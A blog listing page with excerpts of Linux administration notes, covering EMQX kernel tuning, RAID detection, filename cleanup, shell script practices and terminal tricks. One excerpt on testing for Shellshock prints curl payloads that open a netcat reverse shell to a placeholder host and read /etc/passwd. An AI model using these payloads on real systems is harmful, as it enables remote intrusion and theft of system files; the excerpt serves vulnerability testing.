Linux

Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes

Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes Performance Tuning (Linux) 矽谷牛的耕田筆記 Linux Kernel Tuning node level, basically the non-namespaced sysctls # Sets the maximum number of file handles allowed by the kernel sysctl -w fs.file-max=2097152 # Sets the maximum number of open file descriptors that a process can have sysctl -w fs.nr_open=2097152 namespaced sysctls # Sets the maximum number of connections that can be queued for acceptance by the kernel. sysctl -w net.core.somaxconn=32768 # Sets the maximum number of SYN requests that can be queued by the kernel sysctl -w net.ipv4.tcp_max_syn_backlog=16384 # Setting the minimum, default and maximum size of TCP Buffer sysctl -w net.ipv4.tcp_rmem='1024 4096 16777216' sysctl -w net.ipv4.tcp_wmem='1024 4096 16777216' # Setting Parameters for TCP Connection Tracking sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=30 # Controls the maximum number of entries in the TCP time-wait bucket table sysctl -w net.ipv4.tcp_max_tw_buckets=1048576 # Controls Timeout for FIN-WAIT-2 Sockets: sysctl -w net.ipv4.tcp_fin_timeout=15 There are some more namespaced sysctls that will improve the performance but because of an active issue we are not able to set them on the container level # Sets the size of the backlog queue for the network device sysctl -w net.core.netdev_max_backlog=16384 # Amount of memory that is allocated for storing incoming and outgoing data for a socket sysctl -w net.core.rmem_default=262144 sysctl -w net.core.wmem_default=262144 # Setting the maximum amount of memory for the socket buffers sysctl -w net.core.rmem_max=16777216 sysctl -w net.core.wmem_max=16777216 sysctl -w net.core.optmem_max=16777216 Erlang VM Tuning ## Erlang Process Limit node.process_limit = 2097152 ## Sets the maximum number of simultaneously existing ports for this system node.max_ports = 2097152 EMQX Broker Tuning # Other configuration… EMQX_LISTENER__TCP__EXTERNAL: "0.0.0.0:1883" EMQX_LISTENER__TCP__EXTERNAL__ACCEPTORS: 64 EMQX_LISTENER__TCP__EXTERNAL__MAX_CONNECTIONS: 1024000

Wednesday, September 27, 2023 Read

Everything About MTU and MSS

Wednesday, April 12, 2023 Read

How to Detect RAID Information in Linux

How to Detect RAID Information in Linux lspci lspci | grep RAID 00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04) lshw lshw -class storage *-raid description: RAID bus controller product: 82801 Mobile SATA Controller [RAID mode] vendor: Intel Corporation physical id: 1f.2 bus info: pci@0000:00:1f.2 logical name: scsi0 version: 04 width: 32 bits clock: 66MHz capabilities: raid msi pm bus_master cap_list emulated configuration: driver=ahci latency=0 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff smartctl dmesg | grep -i scsi [ 0.210852] SCSI subsystem initialized [ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243) ... [ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5 [ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk [ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0 smartctl --all /dev/sda Model Family: Seagate Laptop HDD Device Model: ST320LT012-9WS14C Serial Number: S0V3R9LL LU WWN Device Id: 5 000c50 05be4653c Firmware Version: 0001YAM1 User Capacity: 320,072,933,376 bytes [320 GB] Sector Sizes: 512 bytes logical, 4096 bytes physical Rotation Rate: 5400 rpm Form Factor: 2.5 inches Device is: In smartctl database 7.3/5319 ATA Version is: ATA8-ACS T13/1699-D revision 4 SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s) Local Time is: Sat Nov 19 20:52:01 2022 PKT SMART support is: Available - device has SMART capability. SMART support is: Enabled ... MegaCLI megacli -LDInfo -Lall -aALL Adapter 0 -- Virtual Drive Information: Virtual Drive: 0 (Target Id: 0) Name : SEAGATE RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0 Size : 320 GB Sector Size : 512 Mirror Data : 320 GB State : Optimal ... lsscsi lsscsi [0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda Vendor-Specific Tools omreport storage vdisk List of Virtual Disks in the System Controller SEAGATE Laptop HDD ID : 0 Status : Ok Name : SEAGATE State : Ready Hot Spare Policy violated : Not Assigned Encrypted : No Layout : RAID-0 Size : 320.00 GB (343597383680 bytes) T10 Protection Information Status : No Associated Fluid Cache State : Not Applicable Device Name : /dev/sda Bus Protocol : ATA Media : HDD Read Policy : Adaptive Read Ahead Write Policy : Write Back Cache Policy : Not Applicable Stripe Element Size : 128 KB Disk Cache Policy : Enabled

Monday, November 28, 2022 Read

Test Whether a Server Is Vulnerable to Shellshock Bug

Test Whether a Server Is Vulnerable to Shellshock Bug The Shellshock Bug env x=' () {:;};' Exploiting Shellshock Bug A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines. The ignored commands from the user are put in the “SSH_ORIGINAL_COMMAND” environment variable. If the user’s default shell is Bash, the Bash shell will parse the value of the “SSH_ORIGINAL_COMMAND” environment variable on start-up and run the embedded commands. Examples of Shellshock Exploit Commands ## 1 curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi ## 2 curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd" use nmap script to test for the vulnerability nmap -sV -p- --script http-shellshock 192.168.x.x nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Monday, November 28, 2022 Read

Containers from scratch

Containers from scratch Container file systems $ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz $ sha256sum rootfs.tar.gz c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz $ # tar needs sudo to create /dev files and setup file ownership $ sudo tar -zxf rootfs.tar.gz $ ls rootfs bin dev home lib64 mnt proc run srv tmp var boot etc lib media opt root sbin sys usr $ ls -al rootfs/bin/ls -rwxr-xr-x. 1 root root 118280 Mar 14 2015 rootfs/bin/ls chroot it allows us to restrict a process’ view of the file system. In this case, we’ll restrict our process to the “rootfs” directory then exec a shell.

Thursday, November 24, 2022 Read

How to Delete Files With Names That Contain Non-printable Characters

How to Delete Files With Names That Contain Non-printable Characters ls -l total 13 -rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' ' -rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx' -rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω -rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 Using ANSI-C Quoting # Using ANSI-C Quoting rm ''$'\302\226' # We can also use the $ special character before enclosing the filename in single quotes rm $'\356\200\215' # pass an item's name to rm without using the ANSI-C quoting rm '\026\033' rm: cannot remove '\026\033': No such file or directory Using Inode Numbers ls -li total 11 ... 6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264' 7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215' 4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 we can delete the desired file by passing its inode number to the -inum switch of the find command

Monday, November 14, 2022 Read

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes chage and Password Aging chage --list root Last password change : Oct 01, 2022 Password expires : never Password inactive : never Account expires : never Minimum number of days between password change : 0 Maximum number of days between password change : 99999 Number of days of warning before password expires : 7 Consequently, we can change any field via its associated flag:

Monday, November 14, 2022 Read

How to Use which on an Aliased Command

How to Use which on an Aliased Command type type grep grep is an alias for grep --color=auto # Bash's type type -P grep /usr/bin/grep # Zsh's type type -p grep grep is /usr/bin/grep GNU which which -a which which: shell built-in command /usr/bin/which alias top10 top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10' alias | /usr/bin/which -i top10 top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10' /usr/bin/uniq /usr/bin/sort /usr/bin/head

Thursday, November 10, 2022 Read

Shell Script Best Practices

Shell Script Best Practices Things Just make the first line be #!/usr/bin/env bash. Use the .sh (or .bash) extension for your file. Use set -o errexit at the start of your script. Prefer to use set -o nounset. use "${VARNAME-}" instead of "$VARNAME" Use set -o pipefail. Use set -o xtrace, with a check on $TRACE env variable. if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi People can now enable debug mode, by running your script as TRACE=1 ./script.sh instead of ./script.sh. Use [[ ]] for conditions in if / while statements, instead of [ ] or test. Always quote variable accesses with double-quotes. Use local variables in functions. When printing error messages, please redirect to stderr. Use echo 'Something unexpected happened' >&2 for this. Use long options, where possible (like --silent instead of -s). If appropriate, change to the script’s directory close to the start of the script. Use cd “$(dirname “$0”)”, which works in most cases. Use shellcheck. Heed its warnings. Template #!/usr/bin/env bash set -o errexit set -o nounset set -o pipefail if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace fi if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then echo 'Usage: ./script.sh arg-one arg-two This is an awesome bash script to make your life better. ' exit fi cd "$(dirname "$0")" main() { echo do awesome stuff } main "$@"

Thursday, November 3, 2022 Read

The Art of Command Line

Wednesday, November 2, 2022 Read

Printing ASCII Art in the Shell

Printing ASCII Art in the Shell banner sudo apt install sysvbanner $ banner hello # # ###### # # #### # # # # # # # ###### ##### # # # # # # # # # # # # # # # # # # # # ###### ###### ###### #### FIGlet: Frank, Ian, and Glenn’s Letters sudo apt install figlet $ figlet hello _ _ _ | |__ ___| | | ___ | '_ \ / _ \ | |/ _ \ | | | | __/ | | (_) | |_| |_|\___|_|_|\___/ -f option and specify a font name for the output -l, -c, and -r options to align the text to the left, center, or right, TOIlet: FIGlet With More Options sudo apt install toilet

Friday, October 21, 2022 Read

How to Make Output Overwrite the Same Line in a Terminal

How to Make Output Overwrite the Same Line in a Terminal Introduction to the Problem $ cat print_status.sh !/bin/bash echo "[INFO] Processing file: readme.txt" sleep 2 To simulate the file processing echo "[INFO] Processing file: veryPowerfulService.service" sleep 2 echo "[INFO] Processing file: log.txt" echo "DONE" $ ./print_status.sh [INFO] Processing file: readme.txt [INFO] Processing file: veryPowerfulService.service [INFO] Processing file: log.txt DONE The “Magic Code”: \033[0K\r -n option asks the echo command to stop outputting the trailing newline character -e option allows the echo command to interpret backslash escapes such as \n (newline) and \r (carriage return) \033 - It’s the escape sequence. In other words, it’s ESC. \033[ - Then this becomes “ESC [”, which is the control sequence introducer (CSI). \033[0k - So it’s “CSI 0 K”. Further, “CSI 0 K” erases the text from the cursor to the end of the line. \r - This is the carriage return. It brings the cursor to the beginning of the line. $ cat print_status.sh #!/bin/bash echo -ne "[INFO] Processing file: readme.txt\033[0K\r" sleep 2 echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r" sleep 2 echo -e "[INFO] Processing file: log.txt\033[0K\r" echo "DONE" !/bin/bash printf "[INFO] Processing file: readme.txt\033[0K\r" sleep 2 printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r" sleep 2 printf "[INFO] Processing file: log.txt\033[0K\r\n" echo "DONE"

Friday, October 21, 2022 Read